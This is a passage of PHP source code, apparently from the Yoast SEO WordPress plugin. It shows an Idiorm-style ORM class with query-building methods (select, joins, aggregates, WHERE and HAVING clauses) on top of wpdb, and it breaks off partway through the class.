 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * The methods documented below are magic methods that conform to PSR-1.
 * This documentation exposes these methods to doc generators and IDEs.
 *
 * @see http://www.php-fig.org/psr/psr-1/
 */
class ORM implements ArrayAccess {

	/*
	 * --- CLASS CONSTANTS ---
	 */

	public const CONDITION_FRAGMENT = 0;

	public const CONDITION_VALUES = 1;

	/*
	 * --- INSTANCE PROPERTIES ---
	 */

	/**
	 * Holds the class name. Wrapped find_one and find_many classes will return an instance or instances of this class.
	 *
	 * @var string
	 */
	protected $class_name;

	/**
	 * Holds the name of the table the current ORM instance is associated with.
	 *
	 * @var string
	 */
	protected $table_name;

	/**
	 * Holds the alias for the table to be used in SELECT queries.
	 *
	 * @var string
	 */
	protected $table_alias = null;

	/**
	 * Values to be bound to the query.
	 *
	 * @var array
	 */
	protected $values = [];

	/**
	 * Columns to select in the result.
	 *
	 * @var array
	 */
	protected $result_columns = [ '*' ];

	/**
	 * Are we using the default result column or have these been manually changed?
	 *
	 * @var bool
	 */
	protected $using_default_result_columns = true;

	/**
	 * Holds the join sources.
	 *
	 * @var array
	 */
	protected $join_sources = [];

	/**
	 * Should the query include a DISTINCT keyword?
	 *
	 * @var bool
	 */
	protected $distinct = false;

	/**
	 * Is this a raw query?
	 *
	 * @var bool
	 */
	protected $is_raw_query = false;

	/**
	 * The raw query.
	 *
	 * @var string
	 */
	protected $raw_query = '';

	/**
	 * The raw query parameters.
	 *
	 * @var array
	 */
	protected $raw_parameters = [];

	/**
	 * Array of WHERE clauses.
	 *
	 * @var array
	 */
	protected $where_conditions = [];

	/**
	 * LIMIT.
	 *
	 * @var int
	 */
	protected $limit = null;

	/**
	 * OFFSET.
	 *
	 * @var int
	 */
	protected $offset = null;

	/**
	 * ORDER BY.
	 *
	 * @var array
	 */
	protected $order_by = [];

	/**
	 * GROUP BY.
	 *
	 * @var array
	 */
	protected $group_by = [];

	/**
	 * HAVING.
	 *
	 * @var array
	 */
	protected $having_conditions = [];

	/**
	 * The data for a hydrated instance of the class.
	 *
	 * @var array
	 */
	protected $data = [];

	/**
	 * Lifetime of the object.
	 *
	 * @var array
	 */
	protected $dirty_fields = [];

	/**
	 * Fields that are to be inserted in the DB raw.
	 *
	 * @var array
	 */
	protected $expr_fields = [];

	/**
	 * Is this a new object (has create() been called)?
	 *
	 * @var bool
	 */
	protected $is_new = false;

	/**
	 * Name of the column to use as the primary key for
	 * this instance only. Overrides the config settings.
	 *
	 * @var string
	 */
	protected $instance_id_column = null;

	/*
	 * --- STATIC METHODS ---
	 */

	/**
	 * Factory method, return an instance of this class bound to the supplied
	 * table name.
	 *
	 * A repeat of content in parent::for_table, so that created class is ORM.
	 *
	 * @param string $table_name The table to create instance for.
	 *
	 * @return ORM Instance of the ORM.
	 */
	public static function for_table( $table_name ) {
		return new static( $table_name, [] );
	}

	/**
	 * Executes a raw query as a wrapper for wpdb::query.
	 * Useful for queries that can't be accomplished through Idiorm,
	 * particularly those using engine-specific features.
	 *
	 * @example raw_execute('INSERT OR REPLACE INTO `widget` (`id`, `name`) SELECT `id`, `name` FROM `other_table`')
	 * @example raw_execute('SELECT `name`, AVG(`order`) FROM `customer` GROUP BY `name` HAVING AVG(`order`) > 10')
	 *
	 * @param string $query      The raw SQL query.
	 * @param array  $parameters Optional bound parameters.
	 *
	 * @return bool Success.
	 */
	public static function raw_execute( $query, $parameters = [] ) {
		return self::execute( $query, $parameters );
	}

	/**
	 * Internal helper method for executing statements.
	 *
	 * @param string $query      The query.
	 * @param array  $parameters An array of parameters to be bound in to the query.
	 *
	 * @return bool|int Response of wpdb::query
	 */
	protected static function execute( $query, $parameters = [] ) {
		/**
		 * The global WordPress database variable.
		 *
		 * @var wpdb
		 */
		global $wpdb;

		$show_errors = $wpdb->show_errors;

		if ( \YoastSEO()->classes->get( Migration_Status::class )->get_error( 'free' ) ) {
			$wpdb->show_errors = false;
		}

		$parameters = \array_filter(
			$parameters,
			static function ( $parameter ) {
				return $parameter !== null;
			}
		);
		if ( ! empty( $parameters ) ) {
			$query = $wpdb->prepare( $query, $parameters );
		}

		$result = $wpdb->query( $query );

		$wpdb->show_errors = $show_errors;

		return $result;
	}

	/*
	 * --- INSTANCE METHODS ---
	 */

	/**
	 * "Private" constructor; shouldn't be called directly.
	 * Use the ORM::for_table factory method instead.
	 *
	 * @param string $table_name Table name.
	 * @param array  $data       Data to populate table.
	 */
	protected function __construct( $table_name, $data = [] ) {
		$this->table_name = $table_name;
		$this->data       = $data;
	}

	/**
	 * Sets the name of the class which the wrapped methods should return instances of.
	 *
	 * @param string $class_name The classname to set.
	 *
	 * @return void
	 */
	public function set_class_name( $class_name ) {
		$this->class_name = $class_name;
	}

	/**
	 * Creates a new, empty instance of the class. Used to add a new row to your database. May optionally be passed an
	 * associative array of data to populate the instance. If so, all fields will be flagged as dirty so all will be
	 * saved to the database when save() is called.
	 *
	 * @param array|null $data Data to populate table.
	 *
	 * @return bool|Model|ORM
	 */
	public function create( $data = null ) {
		$this->is_new = true;
		if ( ! \is_null( $data ) ) {
			$this->hydrate( $data )->force_all_dirty();
		}

		return $this->create_model_instance( $this );
	}

	/**
	 * Specifies the ID column to use for this instance or array of instances only.
	 * This overrides the id_column and id_column_overrides settings.
	 *
	 * This is mostly useful for libraries built on top of Idiorm, and will not normally be used in manually built
	 * queries. If you don't know why you would want to use this, you should probably just ignore it.
	 *
	 * @param string $id_column The ID column.
	 *
	 * @return ORM
	 */
	public function use_id_column( $id_column ) {
		$this->instance_id_column = $id_column;

		return $this;
	}

	/**
	 * Creates an ORM instance from the given row (an associative array of data fetched from the database).
	 *
	 * @param array $row A row from the database.
	 *
	 * @return bool|Model
	 */
	protected function create_instance_from_row( $row ) {
		$instance = self::for_table( $this->table_name );
		$instance->use_id_column( $this->instance_id_column );
		$instance->hydrate( $row );

		return $this->create_model_instance( $instance );
	}

	/**
	 * Tells the ORM that you are expecting a single result back from your query, and execute it. Will return a single
	 * instance of the ORM class, or false if no rows were returned. As a shortcut, you may supply an ID as a parameter
	 * to this method. This will perform a primary key lookup on the table.
	 *
	 * @param int|null $id An (optional) ID.
	 *
	 * @return bool|Model
	 */
	public function find_one( $id = null ) {
		if ( ! \is_null( $id ) ) {
			$this->where_id_is( $id );
		}
		$this->limit( 1 );
		$rows = $this->run();
		if ( empty( $rows ) ) {
			return false;
		}

		return $this->create_instance_from_row( $rows[0] );
	}

	/**
	 * Tells the ORM that you are expecting multiple results from your query, and execute it. Will return an array of
	 * instances of the ORM class, or an empty array if no rows were returned.
	 *
	 * @return array
	 */
	public function find_many() {
		$rows = $this->run();

		if ( $rows === false ) {
			return [];
		}

		return \array_map( [ $this, 'create_instance_from_row' ], $rows );
	}

	/**
	 * Creates an instance of the model class associated with this wrapper and populate it with the supplied Idiorm
	 * instance.
	 *
	 * @param ORM $orm The ORM used by model.
	 *
	 * @return bool|Model Instance of the model class.
	 */
	protected function create_model_instance( $orm ) {
		if ( $orm === false ) {
			return false;
		}

		/**
		 * An instance of Model is being made.
		 *
		 * @var Model $model
		 */
		$model = new $this->class_name();
		$model->set_orm( $orm );

		return $model;
	}

	/**
	 * Tells the ORM that you are expecting multiple results from your query, and execute it. Will return an array, or
	 * an empty array if no rows were returned.
	 *
	 * @return array The query results.
	 */
	public function find_array() {
		return $this->run();
	}

	/**
	 * Tells the ORM that you wish to execute a COUNT query.
	 *
	 * @param string $column The table column.
	 *
	 * @return float|int An integer representing the number of rows returned.
	 */
	public function count( $column = '*' ) {
		return $this->call_aggregate_db_function( __FUNCTION__, $column );
	}

	/**
	 * Tells the ORM that you wish to execute a MAX query.
	 *
	 * @param string $column The table column.
	 *
	 * @return float|int The max value of the chosen column.
	 */
	public function max( $column ) {
		return $this->call_aggregate_db_function( __FUNCTION__, $column );
	}

	/**
	 * Tells the ORM that you wish to execute a MIN query.
	 *
	 * @param string $column The table column.
	 *
	 * @return float|int The min value of the chosen column.
	 */
	public function min( $column ) {
		return $this->call_aggregate_db_function( __FUNCTION__, $column );
	}

	/**
	 * Tells the ORM that you wish to execute a AVG query.
	 *
	 * @param string $column The table column.
	 *
	 * @return float|int The average value of the chosen column.
	 */
	public function avg( $column ) {
		return $this->call_aggregate_db_function( __FUNCTION__, $column );
	}

	/**
	 * Tells the ORM that you wish to execute a SUM query.
	 *
	 * @param string $column The table column.
	 *
	 * @return float|int The sum of the chosen column.
	 */
	public function sum( $column ) {
		return $this->call_aggregate_db_function( __FUNCTION__, $column );
	}

	/**
	 * Returns the select query as SQL.
	 *
	 * @return string The select query in SQL.
	 */
	public function get_sql() {
		return $this->build_select();
	}

	/**
	 * Returns the update query as SQL.
	 *
	 * @return string The update query in SQL.
	 */
	public function get_update_sql() {
		return $this->build_update();
	}

	/**
	 * Executes an aggregate query on the current connection.
	 *
	 * @param string $sql_function The aggregate function to call eg. MIN, COUNT, etc.
	 * @param string $column       The column to execute the aggregate query against.
	 *
	 * @return int
	 */
	protected function call_aggregate_db_function( $sql_function, $column ) {
		$alias        = \strtolower( $sql_function );
		$sql_function = \strtoupper( $sql_function );
		if ( $column !== '*' ) {
			$column = $this->quote_identifier( $column );
		}
		$result_columns       = $this->result_columns;
		$this->result_columns = [];
		$this->select_expr( "{$sql_function}({$column})", $alias );
		$result               = $this->find_one();
		$this->result_columns = $result_columns;
		$return_value         = 0;
		if ( $result !== false && isset( $result->{$alias} ) ) {
			if ( ! \is_numeric( $result->{$alias} ) ) {
				$return_value = $result->{$alias};
			}
			// phpcs:ignore Universal.Operators.StrictComparisons -- Reason: This loose comparison seems intentional.
			elseif ( (int) $result->{$alias} == (float) $result->{$alias} ) {
				$return_value = (int) $result->{$alias};
			}
			else {
				$return_value = (float) $result->{$alias};
			}
		}

		return $return_value;
	}

	/**
	 * Hydrates (populate) this instance of the class from an associative array of data. This will usually be called
	 * only from inside the class, but it's public in case you need to call it directly.
	 *
	 * @param array $data Data to populate table.
	 *
	 * @return ORM
	 */
	public function hydrate( $data = [] ) {
		$this->data = $data;

		return $this;
	}

	/**
	 * Forces the ORM to flag all the fields in the $data array as "dirty" and therefore update them when save() is
	 * called.
	 *
	 * @return ORM
	 */
	public function force_all_dirty() {
		$this->dirty_fields = $this->data;

		return $this;
	}

	/**
	 * Performs a raw query. The query can contain placeholders in either named or question mark style. If placeholders
	 * are used, the parameters should be an array of values which will be bound to the placeholders in the query.
	 * If this method is called, all other query building methods will be ignored.
	 *
	 * @param array $query      The query.
	 * @param array $parameters The parameters. Defaults to an empty array.
	 *
	 * @return ORM
	 */
	public function raw_query( $query, $parameters = [] ) {
		$this->is_raw_query   = true;
		$this->raw_query      = $query;
		$this->raw_parameters = $parameters;

		return $this;
	}

	/**
	 * Adds an alias for the main table to be used in SELECT queries.
	 *
	 * @param string $alias The alias.
	 *
	 * @return ORM
	 */
	public function table_alias( $alias ) {
		$this->table_alias = $alias;

		return $this;
	}

	/**
	 * Adds an unquoted expression to the set of columns returned by the SELECT query. Internal method.
	 *
	 * @param string      $expr  The expression.
	 * @param string|null $alias The alias to return the expression as. Defaults to null.
	 *
	 * @return ORM
	 */
	protected function add_result_column( $expr, $alias = null ) {
		if ( ! \is_null( $alias ) ) {
			$expr .= ' AS ' . $this->quote_identifier( $alias );
		}
		if ( $this->using_default_result_columns ) {
			$this->result_columns               = [ $expr ];
			$this->using_default_result_columns = false;
		}
		else {
			$this->result_columns[] = $expr;
		}

		return $this;
	}

	/**
	 * Counts the number of columns that belong to the primary key and their value is null.
	 *
	 * @return int The amount of null columns.
	 *
	 * @throws Exception Primary key ID contains null value(s).
	 * @throws Exception Primary key ID missing from row or is null.
	 */
	public function count_null_id_columns() {
		if ( \is_array( $this->get_id_column_name() ) ) {
			return \count( \array_filter( $this->id(), 'is_null' ) );
		}
		else {
			return \is_null( $this->id() ) ? 1 : 0;
		}
	}

	/**
	 * Adds a column to the list of columns returned by the SELECT query.
	 *
	 * @param string      $column The column. Defaults to '*'.
	 * @param string|null $alias  The alias to return the column as. Defaults to null.
	 *
	 * @return ORM
	 */
	public function select( $column, $alias = null ) {
		$column = $this->quote_identifier( $column );

		return $this->add_result_column( $column, $alias );
	}

	/**
	 * Adds an unquoted expression to the list of columns returned by the SELECT query.
	 *
	 * @param string      $expr  The expression.
	 * @param string|null $alias The alias to return the column as. Defaults to null.
	 *
	 * @return ORM
	 */
	public function select_expr( $expr, $alias = null ) {
		return $this->add_result_column( $expr, $alias );
	}

	/**
	 * Adds columns to the list of columns returned by the SELECT query.
	 *
	 * This defaults to '*'.
	 * Many columns can be supplied as either an array or as a list of parameters to the method.
	 * Note that the alias must not be numeric - if you want a numeric alias then prepend it with some alpha chars. eg.
	 * a1.
	 *
	 * @example select_many(array('column', 'column2', 'column3'), 'column4', 'column5');
	 * @example select_many(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5');
	 * @example select_many('column', 'column2', 'column3');
	 *
	 * @return ORM
	 */
	public function select_many() {
		$columns = \func_get_args();
		if ( ! empty( $columns ) ) {
			$columns = $this->normalise_select_many_columns( $columns );
			foreach ( $columns as $alias => $column ) {
				if ( \is_numeric( $alias ) ) {
					$alias = null;
				}
				$this->select( $column, $alias );
			}
		}

		return $this;
	}

	/**
	 * Adds an unquoted expression to the list of columns returned by the SELECT query.
	 *
	 * Many columns can be supplied as either an array or as a list of parameters to the method.
	 * Note that the alias must not be numeric - if you want a numeric alias then prepend it with some alpha chars. eg.
	 * a1
	 *
	 * @example select_many_expr(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5')
	 * @example select_many_expr('column', 'column2', 'column3')
	 * @example select_many_expr(array('column', 'column2', 'column3'), 'column4', 'column5')
	 *
	 * @return ORM
	 */
	public function select_many_expr() {
		$columns = \func_get_args();
		if ( ! empty( $columns ) ) {
			$columns = $this->normalise_select_many_columns( $columns );
			foreach ( $columns as $alias => $column ) {
				if ( \is_numeric( $alias ) ) {
					$alias = null;
				}
				$this->select_expr( $column, $alias );
			}
		}

		return $this;
	}

	/**
	 * Takes a column specification for the select many methods and convert it into a normalised array of columns and
	 * aliases.
	 *
	 * It is designed to turn the following styles into a normalised array:
	 * array(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5'))
	 *
	 * @param array $columns The columns.
	 *
	 * @return array
	 */
	protected function normalise_select_many_columns( $columns ) {
		$return = [];
		foreach ( $columns as $column ) {
			if ( \is_array( $column ) ) {
				foreach ( $column as $key => $value ) {
					if ( ! \is_numeric( $key ) ) {
						$return[ $key ] = $value;
					}
					else {
						$return[] = $value;
					}
				}
			}
			else {
				$return[] = $column;
			}
		}

		return $return;
	}

	/**
	 * Adds a DISTINCT keyword before the list of columns in the SELECT query.
	 *
	 * @return ORM
	 */
	public function distinct() {
		$this->distinct = true;

		return $this;
	}

	/**
	 * Add a JOIN source to the query. Internal method.
	 *
	 * The join_operator should be one of INNER, LEFT OUTER, CROSS etc - this
	 * will be prepended to JOIN.
	 *
	 * The table should be the name of the table to join to.
	 *
	 * The constraint may be either a string or an array with three elements. If it
	 * is a string, it will be compiled into the query as-is, with no escaping. The
	 * recommended way to supply the constraint is as an array with three elements:
	 *
	 * first_column, operator, second_column
	 *
	 * Example: array('user.id', '=', 'profile.user_id')
	 *
	 * will compile to
	 *
	 * ON `user`.`id` = `profile`.`user_id`
	 *
	 * The final (optional) argument specifies an alias for the joined table.
	 *
	 * @param string      $join_operator The join_operator should be one of INNER, LEFT OUTER, CROSS etc - this will be
	 *                                   prepended to JOIN.
	 * @param string      $table         The table should be the name of the table to join to.
	 * @param string      $constraint    The constraint.
	 * @param string|null $table_alias   The alias for the joined table. Defaults to null.
	 *
	 * @return ORM
	 */
	protected function add_join_source( $join_operator, $table, $constraint, $table_alias = null ) {
		$join_operator = \trim( "{$join_operator} JOIN" );
		$table         = $this->quote_identifier( $table );
		// Add table alias if present.
		if ( ! \is_null( $table_alias ) ) {
			$table_alias = $this->quote_identifier( $table_alias );
			$table      .= " {$table_alias}";
		}
		// Build the constraint.
		if ( \is_array( $constraint ) ) {
			list( $first_column, $operator, $second_column ) = $constraint;

			$first_column  = $this->quote_identifier( $first_column );
			$second_column = $this->quote_identifier( $second_column );
			$constraint    = "{$first_column} {$operator} {$second_column}";
		}
		$this->join_sources[] = "{$join_operator} {$table} ON {$constraint}";

		return $this;
	}

	/**
	 * Adds a RAW JOIN source to the query.
	 *
	 * @param string $table       The table name.
	 * @param string $constraint  The constraint.
	 * @param string $table_alias The table alias.
	 * @param array  $parameters  The parameters. Defaults to an empty array.
	 *
	 * @return ORM
	 */
	public function raw_join( $table, $constraint, $table_alias, $parameters = [] ) {
		// Add table alias if present.
		if ( ! \is_null( $table_alias ) ) {
			$table_alias = $this->quote_identifier( $table_alias );
			$table      .= " {$table_alias}";
		}
		$this->values = \array_merge( $this->values, $parameters );
		// Build the constraint.
		if ( \is_array( $constraint ) ) {
			list( $first_column, $operator, $second_column ) = $constraint;

			$first_column  = $this->quote_identifier( $first_column );
			$second_column = $this->quote_identifier( $second_column );
			$constraint    = "{$first_column} {$operator} {$second_column}";
		}
		$this->join_sources[] = "{$table} ON {$constraint}";

		return $this;
	}

	/**
	 * Adds a simple JOIN source to the query.
	 *
	 * @param string      $table       The table name.
	 * @param string      $constraint  The constraint.
	 * @param string|null $table_alias The table alias. Defaults to null.
	 *
	 * @return ORM
	 */
	public function join( $table, $constraint, $table_alias = null ) {
		return $this->add_join_source( '', $table, $constraint, $table_alias );
	}

	/**
	 * Adds an INNER JOIN source to the query.
	 *
	 * @param string      $table       The table name.
	 * @param string      $constraint  The constraint.
	 * @param string|null $table_alias The table alias. Defaults to null.
	 *
	 * @return ORM
	 */
	public function inner_join( $table, $constraint, $table_alias = null ) {
		return $this->add_join_source( 'INNER', $table, $constraint, $table_alias );
	}

	/**
	 * Adds a LEFT OUTER JOIN source to the query.
	 *
	 * @param string      $table       The table name.
	 * @param string      $constraint  The constraint.
	 * @param string|null $table_alias The table alias. Defaults to null.
	 *
	 * @return ORM
	 */
	public function left_outer_join( $table, $constraint, $table_alias = null ) {
		return $this->add_join_source( 'LEFT OUTER', $table, $constraint, $table_alias );
	}

	/**
	 * Adds a RIGHT OUTER JOIN source to the query.
	 *
	 * @param string      $table       The table name.
	 * @param string      $constraint  The constraint.
	 * @param string|null $table_alias The table alias. Defaults to null.
	 *
	 * @return ORM
	 */
	public function right_outer_join( $table, $constraint, $table_alias = null ) {
		return $this->add_join_source( 'RIGHT OUTER', $table, $constraint, $table_alias );
	}

	/**
	 * Adds a FULL OUTER JOIN source to the query.
	 *
	 * @param string      $table       The table name.
	 * @param string      $constraint  The constraint.
	 * @param string|null $table_alias The table alias. Defaults to null.
	 *
	 * @return ORM
	 */
	public function full_outer_join( $table, $constraint, $table_alias = null ) {
		return $this->add_join_source( 'FULL OUTER', $table, $constraint, $table_alias );
	}

	/**
	 * Adds a HAVING condition to the query. Internal method.
	 *
	 * @param string $fragment The fragment.
	 * @param array  $values   The values. Defaults to an empty array.
	 *
	 * @return ORM
	 */
	protected function add_having( $fragment, $values = [] ) {
		return $this->add_condition( 'having', $fragment, $values );
	}

	/**
	 * Adds a HAVING condition to the query. Internal method.
	 *
	 * @param string $column_name The table column.
	 * @param string $separator   The separator.
	 * @param mixed  $value       The value.
	 *
	 * @return ORM
	 */
	protected function add_simple_having( $column_name, $separator, $value ) {
		return $this->add_simple_condition( 'having', $column_name, $separator, $value );
	}

	/**
	 * Adds a HAVING clause with multiple values (like IN and NOT IN). Internal method.
	 *
	 * @param string|array $column_name The table column.
	 * @param string       $separator   The separator.
	 * @param array        $values      The values.
	 *
	 * @return ORM
	 */
	public function add_having_placeholder( $column_name, $separator, $values ) {
		if ( ! \is_array( $column_name ) ) {
			$data = [ $column_name => $values ];
		}
		else {
			$data = $column_name;
		}
		$result = $this;
		foreach ( $data as $key => $val ) {
			$column       = $result->quote_identifier( $key );
			$placeholders = $result->create_placeholders( $val );
			$result       = $result->add_having( "{$column} {$separator} ({$placeholders})", $val );
		}

		return $result;
	}

	/**
	 * Adds a HAVING clause with no parameters(like IS NULL and IS NOT NULL). Internal method.
	 *
	 * @param string $column_name The column name.
	 * @param string $operator    The operator.
	 *
	 * @return ORM
	 */
	public function add_having_no_value( $column_name, $operator ) {
		$conditions = \is_array( $column_name ) ? $column_name : [ $column_name ];
		$result     = $this;
		foreach ( $conditions as $column ) {
			$column = $this->quote_identifier( $column );
			$result = $result->add_having( "{$column} {$operator}" );
		}

		return $result;
	}

	/**
	 * Adds a WHERE condition to the query. Internal method.
	 *
	 * @param string $fragment The fragment.
	 * @param array  $values   The values. Defaults to an empty array.
	 *
	 * @return ORM
	 */
	protected function add_where( $fragment, $values = [] ) {
		return $this->add_condition( 'where', $fragment, $values );
	}

	/**
	 * Adds a WHERE condition to the query. Internal method.
	 *
	 * @param string|array $column_name The table column.
	 * @param string       $separator   The separator.
	 * @param mixed        $value       The value.
	 *
	 * @return ORM
	 */
	protected function add_simple_where( $column_name, $separator, $value ) {
		return $this->add_simple_condition( 'where', $column_name, $separator, $value );
	}

	/**
	 * Adds a WHERE clause with multiple values (like IN and NOT IN).
	 *
	 * @param string|array $column_name The table column.
	 * @param string       $separator   The separator.
	 * @param array        $values      The values.
	 *
	 * @return ORM
	 */
	public function add_where_placeholder( $column_name, $separator, $values ) {
		if ( ! \is_array( $column_name ) ) {
			$data = [ $column_name => $values ];
		}
		else {
			$data = $column_name;
		}
		$result = $this;
		foreach ( $data as $key => $val ) {
			$column       = $result->quote_identifier( $key );
			$placeholders = $result->create_placeholders( $val );
			$result       = $result->add_where( "{$column} {$separator} ({$placeholders})", $val );
		}

		return $result;
	}

	/**
	 * Adds a WHERE clause with no parameters(like IS NULL and IS NOT NULL).
	 *
	 * @param string $column_name The column name.
	 * @param string $operator    The operator.
	 *
	 * @return ORM
	 */
	public function add_where_no_value( $column_name, $operator ) {
		$conditions = \is_array( $column_name ) ? $column_name : [ $column_name ];
		$result     = $this;
		foreach ( $conditions as $column ) {
			$column = $this->quote_identifier( $column );
			$result = $result->add_where( "{$column} {$operator}" );
		}

		return $result;
	}

	/**
	 * Adds a HAVING or WHERE condition to the query. Internal method.
	 *
	 * @param string $type     The type.
	 * @param string $fragment The fragment.
	 * @param array  $values   The values. Defaults to empty array.
	 *
	 * @return ORM
	 */
	protected function add_condition( $type, $fragment, $values = [] ) {
		$conditions_class_property_name = "{$type}_conditions";
		if ( ! \is_array( $values ) ) {
			$values = [ $values ];
		}
		\array_push(
			$this->{$conditions_class_property_name},
			[
				self::CONDITION_FRAGMENT => $fragment,
				self::CONDITION_VALUES   => $values,
			]
		);

		return $this;
	}

	/**
	 * Compiles a simple COLUMN SEPARATOR VALUE style HAVING or WHERE condition into a string and value ready to be
	 * passed to the add_condition method.
	 *
	 * Avoids duplication of the call to quote_identifier.
	 * If column_name is an associative array, it will add a condition for each column.
	 *
	 * @param string       $type        The type.
	 * @param string|array $column_name The table column.
	 * @param string       $separator   The separator.
	 * @param mixed        $value       The value.
	 *
	 * @return ORM
	 */
	protected function add_simple_condition( $type, $column_name, $separator, $value ) {
		$multiple = \is_array( $column_name ) ? $column_name : [ $column_name => $value ];
		$result   = $this;
		foreach ( $multiple as $key => $val ) {
			// Add the table name in case of ambiguous columns.
			if ( \count( $result->join_sources ) > 0 && \strpos( $key, '.' ) === false ) {
				$table = $result->table_name;
				if ( ! \is_null( $result->table_alias ) ) {
					$table = $result->table_alias;
				}
				$key = "{$table}.{$key}";
			}
			$key         = $result->quote_identifier( $key );
			$placeholder = ( $val === null ) ? 'NULL' : '%s';
			$result      = $result->add_condition( $type, "{$key} {$separator} {$placeholder}", $val );
		}

		return $result;
	}

	/**
	 * Returns a string containing the given number of question marks, separated by commas. Eg "?, ?, ?".
	 *
	 * @param array $fields Fields to create placeholder for.
	 *
	 * @return string
	 */
	protected function create_placeholders( $fields ) {
		if ( ! empty( $fields ) ) {
			$db_fields = [];
			foreach ( $fields as $key => $value ) {
				// Process expression fields directly into the query.
				if ( \array_key_exists( $key, $this->expr_fields ) ) {
					$db_fields[] = $value;
				}
				else {
					$db_fields[] = ( $value === null ) ? 'NULL' : '%s';
				}
			}

			return \implode( ', ', $db_fields );
		}

		return '';
	}

	/**
	 * Filters a column/value array returning only those columns that belong to a compound primary key.
	 *
	 * If the key contains a column that does not exist in the given array, a null value will be returned for it.
	 *
	 * @param mixed $value The value.
	 *
	 * @return array
	 */
	protected function get_compound_id_column_values( $value ) {
		$filtered = [];
		foreach ( $this->get_id_column_name() as $key ) {
			$filtered[ $key ] = ( $value[ $key ] ?? null );
		}

		return $filtered;
	}

	/**
	 * Filters an array containing compound column/value arrays.
	 *
	 * @param array $values The values.
	 *
	 * @return array
	 */
	protected function get_compound_id_column_values_array( $values ) {
		$filtered = [];
		foreach ( $values as $value ) {
			$filtered[] = $this->get_compound_id_column_values( $value );
		}

		return $filtered;
	}

	/**
	 * Add a WHERE column = value clause to your query. Each time this is called in the chain, an additional WHERE will
	 * be added, and these will be ANDed together when the final query is built.
	 *
	 * If you use an array in $column_name, a new clause will be added for each element. In this case, $value is
	 * ignored.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where( $column_name, $value = null ) {
		return $this->where_equal( $column_name, $value );
	}

	/**
	 * More explicitly named version of for the where() method. Can be used if preferred.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_equal( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '=', $value );
	}

	/**
	 * Add a WHERE column != value clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_not_equal( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '!=', $value );
	}

	/**
	 * Queries the table by its primary key. Special method.
	 *
	 * If primary key is compound, only the columns that belong to they key will be used for the query.
	 *
	 * @param string $id The ID.
	 *
	 * @return ORM
	 */
	public function where_id_is( $id ) {
		return \is_array( $this->get_id_column_name() ) ? $this->where( $this->get_compound_id_column_values( $id ), null ) : $this->where( $this->get_id_column_name(), $id );
	}

	/**
	 * Allows adding a WHERE clause that matches any of the conditions specified in the array. Each element in the
	 * associative array will be a different condition, where the key will be the column name.
	 *
	 * By default, an equal operator will be used against all columns, but it can be overriden for any or every column
	 * using the second parameter.
	 *
	 * Each condition will be ORed together when added to the final query.
	 *
	 * @param array  $values   The values.
	 * @param string $operator The operator.
	 *
	 * @return ORM
	 */
	public function where_any_is( $values, $operator = '=' ) {
		$data  = [];
		$query = [ '((' ];
		$first = true;
		foreach ( $values as $value ) {
			if ( $first ) {
				$first = false;
			}
			else {
				$query[] = ') OR (';
			}
			$firstsub = true;
			foreach ( $value as $key => $item ) {
				$op = \is_string( $operator ) ? $operator : ( $operator[ $key ] ?? '=' );
				if ( $op === '=' && $item === null ) {
					$op = 'IS';
				}
				if ( $firstsub ) {
					$firstsub = false;
				}
				else {
					$query[] = 'AND';
				}
				$query[] = $this->quote_identifier( $key );
				$data[]  = $item;
				$query[] = $op;
				$query[] = ( ( $item === null ) ? 'NULL' : '%s' );
			}
		}
		$query[] = '))';

		return $this->where_raw( \implode( ' ', $query ), $data );
	}

	/**
	 * Queries the table by its primary key.
	 *
	 * Similar to where_id_is() but allowing multiple primary keys.
	 * If primary key is compound, only the columns that belong to they key will be used for the query.
	 *
	 * @param string[] $ids The IDs.
	 *
	 * @return ORM
	 */
	public function where_id_in( $ids ) {
		return \is_array( $this->get_id_column_name() ) ? $this->where_any_is( $this->get_compound_id_column_values_array( $ids ) ) : $this->where_in( $this->get_id_column_name(), $ids );
	}

	/**
	 * Adds a WHERE ... LIKE clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_like( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, 'LIKE', $value );
	}

	/**
	 * Adds where WHERE ... NOT LIKE clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_not_like( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, 'NOT LIKE', $value );
	}

	/**
	 * Adds a WHERE ... > clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_gt( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '>', $value );
	}

	/**
	 * Adds a WHERE ... < clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_lt( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '<', $value );
	}

	/**
	 * Adds a WHERE ... >= clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_gte( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '>=', $value );
	}

	/**
	 * Adds a WHERE ... <= clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function where_lte( $column_name, $value = null ) {
		return $this->add_simple_where( $column_name, '<=', $value );
	}

	/**
